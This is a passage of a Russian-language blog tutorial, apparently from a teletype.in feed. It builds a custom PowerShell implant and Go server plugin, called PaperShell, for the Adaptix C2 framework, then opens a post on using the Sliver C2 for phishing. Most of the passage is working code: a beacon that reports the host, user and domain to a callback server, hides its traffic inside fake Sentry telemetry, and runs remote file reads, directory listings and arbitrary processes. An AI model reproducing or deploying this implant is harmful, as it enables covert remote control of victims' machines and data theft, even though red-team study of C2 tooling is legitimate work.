    <img src="https://img1.teletype.in/files/81/2e/812e268e-2788-4a4a-99e0-48687c1aacf4.png" width="649" />
    <figcaption>Ура, он появился))</figcaption>
  </figure>
  <figure id="JHCp" class="m_original">
    <img src="https://img2.teletype.in/files/92/2f/922f2a68-178d-4a6d-af24-e5f4684ca02b.png" width="647" />
  </figure>
  <figure id="hp4A" class="m_original">
    <img src="https://img2.teletype.in/files/5f/7f/5f7fe4cd-251e-4642-88ee-3c4d65db9dec.png" width="1630" />
  </figure>
  <p id="wFHO">Проверим что листенер работает на правильном порту:</p>
  <figure id="6aLb" class="m_original">
    <img src="https://img3.teletype.in/files/2b/56/2b5668fe-66b3-4d41-8635-e629f1a76a7c.png" width="1591" />
  </figure>
  <p id="3glN">Итак, листенер готов и слушает порт. Пора создать того, кто будет с ним говорить - нашего агента.</p>
  <h2 id="vWNp">Создаём агента</h2>
  <p id="t91A">Шаблон для агента находится в &quot;agent_template&quot;. Я сразу переименую его в papershell_agent:</p>
  <figure id="crJX" class="m_original">
    <img src="https://img2.teletype.in/files/96/f6/96f6ba45-70ea-4ef9-88c0-346629724af5.png" width="774" />
  </figure>
  <p id="CSnx">Так же как и в листенере, pl_main.go мы не будем трогать. pl_agent.go будет содержать логику генерации нового агента и упаковки данных для него.</p>
  <p id="oV3x">Для кода самого агента я создам папку &quot;src_papershell&quot;:</p>
  <figure id="PCws" class="m_original">
    <img src="https://img4.teletype.in/files/b3/72/b3724833-c5cf-4128-a6de-34953d90eb6d.png" width="310" />
  </figure>
  <p id="pahr">Для отладки генерации агента, положим в него такую заглушку:</p>
  <pre id="6g9K" data-lang="powershell">Write-Host &quot;Stub agent. Callback: &lt;CALLBACK_HOST&gt;:&lt;CALLBACK_PORT&gt;, Watermark: &lt;WATERMARK&gt;&quot;</pre>
  <p id="FzyW">Начнём с двух простых функций, которые мы не задействуем - шифрование и дешифровка данных. Для OPSEC лучше их всё же реализовать, но в данном случае я их не использую:</p>
  <pre id="Rxv7" data-lang="go">func AgentEncryptData(data []byte, key []byte) ([]byte, error) {
	return data, nil
}

func AgentDecryptData(data []byte, key []byte) ([]byte, error) {
	return data, nil
}</pre>
  <p id="NXXJ">Функция для генерации профиля тоже не обязательна - для таких скриптов как powershell, паковать данные в профиль совсем не обязательно - мы можем подставить их прямо в код, поэтому функцию можно оставить в таком виде:</p>
  <pre id="gOwf" data-lang="go">func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
	return nil, nil
}</pre>
  <p id="Jwcj">Пишем функцию для генерации агента из параметров. Мы будем использовать только параметры листенера и водяной знак (для идентификации агента):</p>
  <pre id="jScA" data-lang="go">func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
	var (
		Filename     string
		buildContent []byte
	)

	// Получаем нужные параметры подключения
	callbackHost, callbackPort, _ := net.SplitHostPort(strings.TrimSpace(listenerMap[&quot;callback_address&quot;].(string)))

	// Собираем агента
	currentDir := ModuleDir
	Filename = &quot;agent.ps1&quot;

	agentContentBytes, err := os.ReadFile(currentDir + &quot;/src_papershell/agent.ps1&quot;)
	if err != nil {
		return nil, &quot;&quot;, err
	}

	agentContent := string(agentContentBytes)

	agentContent = strings.ReplaceAll(agentContent, &quot;&lt;CALLBACK_HOST&gt;&quot;, callbackHost)
	agentContent = strings.ReplaceAll(agentContent, &quot;&lt;CALLBACK_PORT&gt;&quot;, callbackPort)
	agentContent = strings.ReplaceAll(agentContent, &quot;&lt;WATERMARK&gt;&quot;, AgentWatermark)

	buildContent = []byte(agentContent)

	return buildContent, Filename, nil
}</pre>
  <p id="9ijO">Не будем усложнять агента упаковкой и распаковкой бинарных данных - воспользуемся привычным JSON для общения с сервером. Напишем стартовый код для упаковки команды в данные для агента:</p>
  <pre id="GzuL" data-lang="go">func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
	var (
		taskData    adaptix.TaskData
		messageData adaptix.ConsoleMessageData
		err         error
	)

	command, ok := args[&quot;command&quot;].(string)
	if !ok {
		return taskData, messageData, errors.New(&quot;&#x27;command&#x27; must be set&quot;)
	}
	// subcommand, _ := args[&quot;subcommand&quot;].(string)

	taskData = adaptix.TaskData{
		Type: TYPE_TASK,
		Sync: true,
	}

	messageData = adaptix.ConsoleMessageData{
		Status: MESSAGE_INFO,
		Text:   &quot;&quot;,
	}
	messageData.Message, _ = args[&quot;message&quot;].(string)

	commandData := make(map[string]string)

	commandData[&quot;command&quot;] = command

	switch command {
	case &quot;cat&quot;:
		path, ok := args[&quot;path&quot;].(string)
		if !ok {
			err = errors.New(&quot;paramter &#x27;path&#x27; must be set&quot;)
			goto RET
		}
		commandData[&quot;path&quot;] = path
	default:
		err = errors.New(fmt.Sprintf(&quot;Command &#x27;%v&#x27; not found&quot;, command))
		goto RET
	}

	taskData.Data, err = json.Marshal(commandData)
	if err != nil {
		goto RET
	}

RET:
	return taskData, messageData, err
}</pre>
  <p id="GV75">Настроим файл сборки:</p>
  <pre id="RVxm" data-lang="makefile">all: clean
	@ echo &quot;    * Building agent_papershell plugin&quot;
	@ mkdir dist
	@ cp config.json ax_config.axs ./dist/
	@ cp -r src_papershell ./dist/
	@ go build -buildmode=plugin -ldflags=&quot;-s -w&quot; -o ./dist/agent_papershell.so pl_main.go pl_agent.go
	@ echo &quot;      done...&quot;

clean:
	@ rm -rf dist</pre>
  <p id="3xwX">В него я добавил копирование исходников нашего агента (src_papershell)</p>
  <p id="DX0y">Файл конфигурации:</p>
  <pre id="iYKe" data-lang="javascript">{
  &quot;extender_type&quot;: &quot;agent&quot;,
  &quot;extender_file&quot;: &quot;agent_papershell.so&quot;,
  &quot;ax_file&quot;: &quot;ax_config.axs&quot;,

  &quot;agent_name&quot;: &quot;papershell&quot;,
  &quot;agent_watermark&quot;: &quot;ab0ba000&quot;,
  &quot;listeners&quot;: [ &quot;PaperShellHTTP&quot;]
}</pre>
  <p id="QcJS">Watermark должен быть уникальный, он поможет отличать нашего агента от других. В других местах Adaptix Watermark может называться AgentType.</p>
  <p id="MWLA"></p>
  <p id="cbhA">И создадим AxScript для меню генерации агента и для регистрации команд:</p>
  <pre id="XqlJ" data-lang="javascript">/// PAPERSHELL_AGENT

function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command(&quot;cat&quot;, &quot;Read first 2048 bytes of the specified file&quot;, &quot;cat C:\\file.exe&quot;, &quot;Task: read file&quot;);
    cmd_cat.addArgString(&quot;path&quot;, true);

    if(listenerType == &quot;PaperShellHTTP&quot;) {
        let commands_external = ax.create_commands_group(&quot;papershell&quot;, [cmd_cat] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group(&quot;none&quot;,[]);
}

function GenerateUI(listenerType)
{
    // Пустая форма
    let container = form.create_container()

    let panel = form.create_panel()

    return {
        ui_panel: panel,
        ui_container: container
    }
}</pre>
  <p id="hza4">Кстати, если вы хотите чтобы команды для агента можно было вводить мышой из контекстного меню, то это так же добавляется в AxScript</p>
  <p id="QeCA"></p>
  <p id="Bjwf">Теперь собираем агента:</p>
  <figure id="7hWj" class="m_original">
    <img src="https://img4.teletype.in/files/f6/38/f6388d34-eb83-4433-b038-c07aeecf9938.png" width="624" />
  </figure>
  <p id="w3Uh">Добавляем в extenders:</p>
  <figure id="4B1A" class="m_original">
    <img src="https://img1.teletype.in/files/01/b7/01b79fbb-6064-469b-8fa7-7002dce88014.png" width="648" />
  </figure>
  <figure id="IRwT" class="m_original">
    <img src="https://img4.teletype.in/files/be/91/be91dc84-41eb-4c82-afbf-2bb51e95d6ec.png" width="525" />
    <figcaption>profile.json</figcaption>
  </figure>
  <p id="Tuhv">И пробуем сгенерировать:</p>
  <figure id="Swgq" class="m_original">
    <img src="https://img2.teletype.in/files/55/82/5582f604-07df-4684-9cc0-d98c804d7da7.png" width="809" />
  </figure>
  <figure id="4ZGn" class="m_original">
    <img src="https://img4.teletype.in/files/b5/05/b505934f-99d1-4bf4-9814-a4ba22bb6bf7.png" width="555" />
  </figure>
  <p id="3s0a">Как мы видем, всё сгенерировалось корректно:</p>
  <figure id="k8gg" class="m_original">
    <img src="https://img4.teletype.in/files/72/f4/72f42fb3-6d6b-4836-b6d7-ff68d0f53266.png" width="601" />
  </figure>
  <h3 id="UXeQ">Реализуем функции в агенте</h3>
  <p id="mz8h">Заметка явно затянулась, но мы уже недалеко от цели. Напомню, что в начале мы планировали реализовать только базовый набор команд. Конкретизируем его:</p>
  <ul id="fHEK">
    <li id="jqaH">cat path - Прочитать файл</li>
    <li id="4DZE">ls [path] - Содержимое директории</li>
    <li id="f2yy">cd path - Переход в директорию</li>
    <li id="3LgG">ps run executable args.. - Запуск процесса с параметрами (с захватом вывода)</li>
  </ul>
  <p id="nQKZ">Сам цикл работы агента будет построен следующим образом:</p>
  <ol id="TVpe">
    <li id="h4ud">Генерируем BEAT</li>
    <li id="bbB3">Отправляем запрос на получение данных с сервера, передаём на сервер блок начальных данных (os/username/domain/...)</li>
    <li id="wGSb">Если с сервера пришла задача (их может прийти сразу несколько за раз), выполняем её, результат выполнения каждой по отдельности отправляем на сервер</li>
    <li id="dvex">Если не пришла, спим 10 секунд, пробуем получить снова</li>
  </ol>
  <p id="GImY"></p>
  <p id="Ebvf">Кстати, данные инциализации (шаг 2) передаются прямо в BEAT. В листенере мы делали, чтобы первые 4 байта BEAT были типом агента, следующие 4 байта - ID. Для инициализирующего пакета после этих 8 байт допишем JSON с данными для регистрации агента.</p>
  <p id="a7U2">Тогда начало нашего агента будет следующим:</p>
  <pre id="23jr" data-lang="powershell">$randomId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))

$agentId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))
$agentType = 0xab0ba000
$bytesAgentId = [BitConverter]::GetBytes($agentId)
$bytesAgentType = [BitConverter]::GetBytes($agentType)
$beat = $bytesAgentType + $bytesAgentId

$hexStringBeat = [System.BitConverter]::ToString($beat) -replace &#x27;-&#x27;

$uri = &quot;http://&lt;CALLBACK_HOST&gt;:&lt;CALLBACK_PORT&gt;/api/&quot; + $randomId + &quot;/envelope&quot;
$initialData = @{
    domain      = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
    username    = &quot;$env:USERDOMAIN\$env:USERNAME&quot;
    computer    = $env:COMPUTERNAME
    internal_ip = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPV4Address.IPAddressToString
} | convertto-json

$global:isInitial = $true

function SendData($result) {
    # Send data to server using hex encoding and receive answer from server
    $hexStringData = &quot;&quot;
    if ($result.Count -ne 0) {
        $encoded = convertto-json -Depth 3 $result
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($encoded)
        $hexStringData = [System.BitConverter]::ToString($bytes) -replace &#x27;-&#x27;
    }
    $additionalBeat = &quot;&quot;
    if ($global:isInitial) {
        $additionalBeat = [System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($initialData)) -replace &#x27;-&#x27;
        $global:isInitial = $false
    }

    $body = &#x27;{&quot;event_id&quot;:&quot;&#x27; + $hexStringBeat + $additionalBeat + &#x27;&quot;,&quot;sent_at&quot;:&quot;2025-01-01T00:00:00.000Z&quot;,&quot;sdk&quot;:{&quot;name&quot;:&quot;sentry.javascript.browser&quot;,&quot;version&quot;:&quot;7.0.0&quot;}}
{&quot;type&quot;:&quot;transaction&quot;}
{&quot;contexts&quot;:{&quot;trace&quot;:{&quot;trace_id&quot;:&quot;trace123456789abc&quot;,&quot;span_id&quot;:&quot;span123456789abc&quot;,&quot;op&quot;:&quot;pageload&quot;}},&quot;spans&quot;:[{&quot;span_id&quot;:&quot;span987654321def&quot;,&quot;op&quot;:&quot;http.client&quot;,&quot;description&quot;:&quot;&#x27; + $hexStringData + &#x27;&quot;,&quot;start_timestamp&quot;:1704067200.000,&quot;timestamp&quot;:1704067200.100,&quot;trace_id&quot;:&quot;trace123456789abc&quot;}],&quot;start_timestamp&quot;:1704067200.000,&quot;timestamp&quot;:1704067201.000,&quot;transaction&quot;:&quot;/home&quot;,&quot;type&quot;:&quot;transaction&quot;,&quot;platform&quot;:&quot;javascript&quot;}
&#x27;

    $response = Invoke-WebRequest -Uri $uri -Method POST -Body $Body

    $encodedTaskData = ($response.Content | convertfrom-json).id
    if ($encodedTaskData -eq &quot;&quot;) {
        return New-Object System.Collections.ArrayList
    }

    $hexBytes = $encodedTaskData -split &#x27;(..)&#x27; | Where-Object { -not [String]::IsNullOrEmpty($_) }

    foreach ($hexByte in $hexBytes) {
        # Convert each hex pair to an integer (base 16) and then to a character
        $asciiString += [char]([convert]::ToInt32($hexByte, 16))
    }

    $taskData = $asciiString | ConvertFrom-Json
    return $taskData
}

$TaskData = SendData(@())

</pre>
  <p id="iakg">Достаточно прямолинейный код для кодирования данных и отправки на сервер по HTTP.</p>
  <p id="0ybF">Добавим цикл обработки задач:</p>
  <pre id="XSoz" data-lang="powershell">$TaskResults = New-Object System.Collections.ArrayList
$TaskResults.Clear()
while ($true) {
    $TaskData = SendData($TaskResults)
    $TaskResults.Clear()

    foreach ($task in $TaskData) {
        write-output $task
        $taskId = $task.task_id
        # Decode task data
        $jsonData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.task_data))
        $data = ConvertFrom-Json $jsonData

        # Здесь будет реализация команд
    }

    Start-Sleep 10
}</pre>
  <p id="foXI">И реализацию первой команды (cat):</p>
  <pre id="RmOM" data-lang="powershell">        if ($data.command -eq &quot;cat&quot;) {
            $path = $data.path
            $result = [System.IO.File]::ReadAllBytes($path)
            
            $responseData = @{
                command = $data.command
                path = $data.path
                content = $result
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }</pre>
  <hr />
  <p id="2vMa">Для обработки первого пакета (инициализируещего), реализуем &quot;CreateAgent&quot;. Эта функция будет обрабатывать HeatBeat в первом пакете от агента и добавлять метаданные.</p>
  <pre id="Cdfi" data-lang="go">type InitialData struct {
	Domain     string &#x60;json:&quot;domain&quot;&#x60;
	Username   string &#x60;json:&quot;username&quot;&#x60;
	Computer   string &#x60;json:&quot;computer&quot;&#x60;
	InternalIP string &#x60;json:&quot;internal_ip&quot;&#x60;
}

func CreateAgent(initialData []byte) (adaptix.AgentData, error) {
	var agentData adaptix.AgentData

	fmt.Printf(&quot;res: %v\n&quot;, initialData)

	var parsedData InitialData
	err := json.Unmarshal(initialData, &amp;parsedData)
	if err != nil {
		return agentData, err
	}

	// Fill data: domain, computer, username, internalip
	agentData.Domain = parsedData.Domain
	agentData.Username = parsedData.Username
	agentData.Computer = parsedData.Computer
	agentData.InternalIP = parsedData.InternalIP

	// Мы не шифруем данные
	agentData.SessionKey = []byte(&quot;NULL&quot;)

	return agentData, nil
}</pre>
  <p id="OouG">Теперь подготовим код для формирования пакетов задач (снова закодируем всё в обычный JSON):</p>
  <pre id="z3ey" data-lang="go">type AgentTaskData struct {
	TaskId   string &#x60;json:&quot;task_id&quot;&#x60;
	TaskData []byte &#x60;json:&quot;task_data&quot;&#x60;
}

func PackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
	var tasks []AgentTaskData

	// Урезаем данные задач для передачи агенту
	for _, task := range tasksArray {
		tasks = append(tasks, AgentTaskData{
			TaskId: task.TaskId,
			TaskData: task.Data
		})
	}

	packData, err := json.Marshal(tasks)

	if err != nil {
		return nil, err
	}

	return packData, nil
}</pre>
  <p id="e8ez">Потребовалось добавить цикл для урезания объектов задач - adaptix.TaskData содержит слишком много информации (например имя пользователя который поставил задачу), которую лучше не отправлять в агент - иначе злые аналитики повыдёргивают и задеанонят :).</p>
  <p id="qUus"></p>
  <p id="WNHQ">И добавляем код для обработки ответов агента (пока реализуем только команду &quot;cat&quot;):</p>
  <pre id="s1j6" data-lang="go">type ResultData struct {
	Path    string &#x60;json:&quot;path&quot;&#x60;
	Command string &#x60;json:&quot;command&quot;&#x60;
	Content []byte &#x60;json:&quot;content,omitempty&quot;&#x60;
	TaskId  string &#x60;json:&quot;taskId&quot;&#x60;
}

func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
	var outTasks []adaptix.TaskData
	var resultData []ResultData

	err := json.Unmarshal(packedData, &amp;resultData)
	if err != nil {
		return outTasks
	}

	for _, taskResult := range resultData {
		command := taskResult.Command

		switch command {
		case &quot;cat&quot;:
			path := taskResult.Path
			fileContent := taskResult.Content
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&quot;&#x27;%v&#x27; file content:&quot;, path)
			task.ClearText = string(fileContent)
			outTasks = append(outTasks, task)
		default:
			continue
		}
	}

	return outTasks
}</pre>
  <p id="qBC5">Пересоберём агента для теста и проверим:</p>
  <pre id="EZvD">make</pre>
  <figure id="uwms" class="m_original">
    <img src="https://img3.teletype.in/files/ad/d4/add4e977-09bd-4827-aed7-77528e21f629.png" width="677" />
  </figure>
  <figure id="xygO" class="m_original">
    <img src="https://img1.teletype.in/files/0e/04/0e04c544-f5a3-47a2-be34-fa1310f13f51.gif" width="800" />
  </figure>
  <p id="zD8l">Отлично, всё работает!</p>
  <h3 id="ydpW">Добавляем оставшиеся функции</h3>
  <p id="cLfr">Теперь реализуем функции работы с файловой системой (cd, ls).</p>
  <p id="7Fe3">На агенте (src_papershell/agent.ps1):</p>
  <pre id="wNPa" data-lang="powershell">        elseif ($data.command -eq &quot;cd&quot;) {
            $path = $data.path
            Set-Location -Path $path -ErrorAction Stop[Environment]::CurrentDirectory = (Get-Location -PSProvider FileSystem).ProviderPath # For .NET
            $currentLocation = Get-Location
            $responseData = @{
                command = $data.command
                path = $path
                new_path = $currentLocation.Path
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        } elseif ($data.command -eq &quot;ls&quot;) {
            $path = if ($data.path) { $data.path } else { Get-Location } # If no path is sent, ls current dir
            $path = $path.Path
            $items = Get-ChildItem -Path $path -ErrorAction Stop
            $fileList = @()
            foreach ($item in $items) {
                $fileList += [PSCustomObject]@{
                    Name = $item.Name
                    FullName = $item.FullName
                    IsDirectory = $item.PSIsContainer
                    Length = if ($item.PSIsContainer) { $null } else { $item.Length }
                    LastWriteTime = $item.LastWriteTime
                }
            }
            $responseData = @{
                command = $data.command
                path = $path
                files = $fileList
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }</pre>
  <p id="bJR8">На сервере (pl_agent.go):</p>
  <pre id="OliW" data-lang="go">func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
	var (
		taskData    adaptix.TaskData
		messageData adaptix.ConsoleMessageData
		err         error
	)

	command, ok := args[&quot;command&quot;].(string)
	if !ok {
		return taskData, messageData, errors.New(&quot;&#x27;command&#x27; must be set&quot;)
	}
	// subcommand, _ := args[&quot;subcommand&quot;].(string)

	taskData = adaptix.TaskData{
		Type: TYPE_TASK,
		Sync: true,
	}

	messageData = adaptix.ConsoleMessageData{
		Status: MESSAGE_INFO,
		Text:   &quot;&quot;,
	}
	messageData.Message, _ = args[&quot;message&quot;].(string)

	commandData := make(map[string]string)

	commandData[&quot;command&quot;] = command

	switch command {
	case &quot;cat&quot;:
		path, ok := args[&quot;path&quot;].(string)
		if !ok {
			err = errors.New(&quot;paramter &#x27;path&#x27; must be set&quot;)
			goto RET
		}
		commandData[&quot;path&quot;] = path
	case &quot;cd&quot;:
		path, ok := args[&quot;path&quot;].(string)
		if !ok {
			err = errors.New(&quot;parameter &#x27;path&#x27; must be set&quot;)
			goto RET
		}
		commandData[&quot;path&quot;] = path
	case &quot;ls&quot;:
		// path is optional for ls, use current directory if not provided
		if path, ok := args[&quot;path&quot;].(string); ok {
			commandData[&quot;path&quot;] = path
		}
	default:
		err = errors.New(fmt.Sprintf(&quot;Command &#x27;%v&#x27; not found&quot;, command))
		goto RET
	}

	taskData.Data, err = json.Marshal(commandData)
	if err != nil {
		goto RET
	}

RET:
	return taskData, messageData, err
}</pre>
  <pre id="OliW" data-lang="go">type ResultData struct {
	Path    string     &#x60;json:&quot;path&quot;&#x60;
	Command string     &#x60;json:&quot;command&quot;&#x60;
	Content []byte     &#x60;json:&quot;content,omitempty&quot;&#x60;
	TaskId  string     &#x60;json:&quot;taskId&quot;&#x60;
	NewPath string     &#x60;json:&quot;new_path,omitempty&quot;&#x60;
	Files   []FileInfo &#x60;json:&quot;files,omitempty&quot;&#x60;
}

type FileInfo struct {
	Name          string &#x60;json:&quot;Name&quot;&#x60;
	FullName      string &#x60;json:&quot;FullName&quot;&#x60;
	IsDirectory   bool   &#x60;json:&quot;IsDirectory&quot;&#x60;
	Length        *int64 &#x60;json:&quot;Length,omitempty&quot;&#x60;
	LastWriteTime string &#x60;json:&quot;LastWriteTime&quot;&#x60;
}

func ProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
	var outTasks []adaptix.TaskData
	var resultData []ResultData

	err := json.Unmarshal(packedData, &amp;resultData)
	if err != nil {
		return outTasks
	}

	for _, taskResult := range resultData {
		command := taskResult.Command

		switch command {
		case &quot;cat&quot;:
			path := taskResult.Path
			fileContent := taskResult.Content
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&quot;&#x27;%v&#x27; file content:&quot;, path)
			task.ClearText = string(fileContent)
			outTasks = append(outTasks, task)
		case &quot;cd&quot;:
			path := taskResult.Path
			newPath := taskResult.NewPath
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&quot;Changed directory to: %s&quot;, newPath)
			task.ClearText = fmt.Sprintf(&quot;Previous path: %s\nCurrent path: %s&quot;, path, newPath)
			outTasks = append(outTasks, task)

		case &quot;ls&quot;:
			path := taskResult.Path
			files := taskResult.Files
			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&quot;Directory listing for: %s&quot;, path)

			var output strings.Builder
			output.WriteString(fmt.Sprintf(&quot;Contents of: %s\n\n&quot;, path))

			for _, file := range files {
				if file.IsDirectory {
					output.WriteString(fmt.Sprintf(&quot;[DIR]  %s\n&quot;, file.Name))
				} else {
					size := &quot;0&quot;
					if file.Length != nil {
						size = fmt.Sprintf(&quot;%d&quot;, *file.Length)
					}
					output.WriteString(fmt.Sprintf(&quot;[FILE] %s (%s bytes)\n&quot;, file.Name, size))
				}
			}

			task.ClearText = output.String()
			outTasks = append(outTasks, task)
		default:
			continue
		}
	}

	return outTasks
}</pre>
  <p id="bs82">AxScript:</p>
  <pre id="FDf3" data-lang="javascript">function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command(&quot;cat&quot;, &quot;Read the specified file&quot;, &quot;cat C:\\file.exe&quot;, &quot;Task: read file&quot;);
    cmd_cat.addArgString(&quot;path&quot;, true);
    
    let cmd_cd = ax.create_command(&quot;cd&quot;, &quot;Change directory&quot;, &quot;cd C:\\Windows\\System32&quot;, &quot;Task: change directory&quot;);
    cmd_cd.addArgString(&quot;path&quot;, true);
    
    let cmd_ls = ax.create_command(&quot;ls&quot;, &quot;Get list of files and directories in path&quot;, &quot;ls C:\\e&quot;, &quot;Task: list directory&quot;);
    cmd_ls.addArgString(&quot;path&quot;, false);

    if(listenerType == &quot;PaperShellHTTP&quot;) {
        let commands_external = ax.create_commands_group(&quot;papershell&quot;, [cmd_cat, cmd_cd, cmd_ls] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group(&quot;none&quot;,[]);
}</pre>
  <p id="Wo2D"></p>
  <p id="8u48">Проверим:</p>
  <figure id="cBtM" class="m_original">
    <img src="https://img1.teletype.in/files/4a/b6/4ab6bb37-2405-45d2-9e6a-7d26a2ef12a6.png" width="910" />
  </figure>
  <hr />
  <p id="TyzQ">Функции для запуска процессов.</p>
  <p id="dISH">На агенте:</p>
  <pre id="YOdH" data-lang="powershell">} elseif ($data.command -eq &quot;run&quot;) {
            $executable = $data.executable
            $args = if ($data.args) { $data.args } else { &quot;&quot; }
            
            $processInfo = New-Object System.Diagnostics.ProcessStartInfo
            $processInfo.FileName = $executable
            $processInfo.Arguments = $args -join &quot; &quot;
            $processInfo.RedirectStandardOutput = $true
            $processInfo.RedirectStandardError = $true
            $processInfo.UseShellExecute = $false
            $processInfo.CreateNoWindow = $true
            
            $process = New-Object System.Diagnostics.Process
            $process.StartInfo = $processInfo
            $process.Start() | Out-Null
            
            $stdout = $process.StandardOutput.ReadToEnd()
            $stderr = $process.StandardError.ReadToEnd()
            $process.WaitForExit()
            
            $responseData = @{
                command = $data.command
                executable = $executable
                args = $args
                stdout = $stdout
                stderr = $stderr
                exitCode = $process.ExitCode
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }</pre>
  <p id="g5Nt">На сервере:</p>
  <pre id="s1HY" data-lang="go">// CreateTask
...

	case &quot;run&quot;:
		executable, ok := args[&quot;executable&quot;].(string)
		if !ok {
			err = errors.New(&quot;parameter &#x27;executable&#x27; must be set&quot;)
			goto RET
		}
		commandData[&quot;executable&quot;] = executable

		if cmdArgs, ok := args[&quot;args&quot;].(string); ok {
			// Fields - это деление по пробелам
			commandData[&quot;args&quot;] = strings.Fields(cmdArgs)
		}
...</pre>
  <pre id="7suz" data-lang="go">// ProcessTaskResult
...
		case &quot;run&quot;:
			executable := taskResult.Executable
			args := taskResult.Args
			stdout := taskResult.Stdout
			stderr := taskResult.Stderr
			exitCode := taskResult.ExitCode

			task := taskData
			task.TaskId = taskResult.TaskId
			task.Message = fmt.Sprintf(&quot;Command executed: %s&quot;, executable)

			var output strings.Builder
			output.WriteString(fmt.Sprintf(&quot;Executable: %s\n&quot;, executable))
			if len(args) &gt; 0 {
				output.WriteString(fmt.Sprintf(&quot;Arguments: %v\n&quot;, args))
			}
			output.WriteString(fmt.Sprintf(&quot;Exit Code: %d\n\n&quot;, exitCode))

			if stdout != &quot;&quot; {
				output.WriteString(fmt.Sprintf(&quot;STDOUT:\n%s\n&quot;, stdout))
			}
			if stderr != &quot;&quot; {
				output.WriteString(fmt.Sprintf(&quot;STDERR:\n%s\n&quot;, stderr))
			}

			task.ClearText = output.String()
			outTasks = append(outTasks, task)
...</pre>
  <p id="WJM5">AxScript:</p>
  <pre id="dWmd" data-lang="javascript">function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command(&quot;cat&quot;, &quot;Read the specified file&quot;, &quot;cat C:\\file.exe&quot;, &quot;Task: read file&quot;);
    cmd_cat.addArgString(&quot;path&quot;, true);
    
    let cmd_cd = ax.create_command(&quot;cd&quot;, &quot;Change directory&quot;, &quot;cd C:\\Windows\\System32&quot;, &quot;Task: change directory&quot;);
    cmd_cd.addArgString(&quot;path&quot;, true);
    
    let cmd_ls = ax.create_command(&quot;ls&quot;, &quot;Get list of files and directories in path&quot;, &quot;ls C:\\e&quot;, &quot;Task: list directory&quot;);
    cmd_ls.addArgString(&quot;path&quot;, false);

    let cmd_run = ax.create_command(&quot;run&quot;, &quot;Run executable and receive output&quot;, &quot;run whoami /all&quot;, &quot;Task: run executable&quot;);
    cmd_run.addArgString(&quot;executable&quot;, true);
    cmd_run.addArgString(&quot;args&quot;, false);

    if(listenerType == &quot;PaperShellHTTP&quot;) {
        let commands_external = ax.create_commands_group(&quot;papershell&quot;, [cmd_cat, cmd_cd, cmd_ls, cmd_run] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group(&quot;none&quot;,[]);
}</pre>
  <p id="NTsB">Проверяем:</p>
  <figure id="Ebla" class="m_original">
    <img src="https://img2.teletype.in/files/14/ec/14ec9b81-0804-4ba3-a8fd-0c939efac0eb.png" width="1386" />
  </figure>
  <hr />
  <p id="AXpT">С этого момента добавлять функции стало просто и удобно. Надеюсь, эта заметка была для вас полезна :)</p>
  <p id="ZBwA"></p>
  <p id="X0Aq">Полный код PaperShell на GitHub:</p>
  <p id="3Prw"><a href="https://github.com/ArturLukianov/PaperShell" target="_blank">https://github.com/ArturLukianov/PaperShell</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@magnummalum/pArqZhViyXq</guid><link>https://teletype.in/@magnummalum/pArqZhViyXq?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=magnummalum</link><comments>https://teletype.in/@magnummalum/pArqZhViyXq?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=magnummalum#comments</comments><dc:creator>magnummalum</dc:creator><title>C2: sliver</title><pubDate>Tue, 30 Apr 2024 20:09:01 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/19/7b/197b245a-b03f-4229-83e6-a54d0c00dc19.png"></media:content><category>c2</category><description><![CDATA[<img src="https://img4.teletype.in/files/bc/c3/bcc3f3fe-c33f-4771-ab24-863c72ae7f18.png"></img>Вся информация предоставлена в образовательных или исследовательских целях]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <blockquote id="JEqT">Вся информация предоставлена в образовательных или исследовательских целях</blockquote>
  </section>
  <p id="eWmu">В этом посте мы познакомимся с C2 <strong>sliver</strong>, научимся использовать его для проведения фишинговых атак и рассмотрим его возможности для постэксплуатации</p>
  <p id="IxVG">Для начала немного вводной информации</p>
  <h2 id="za65">Что такое C2?</h2>
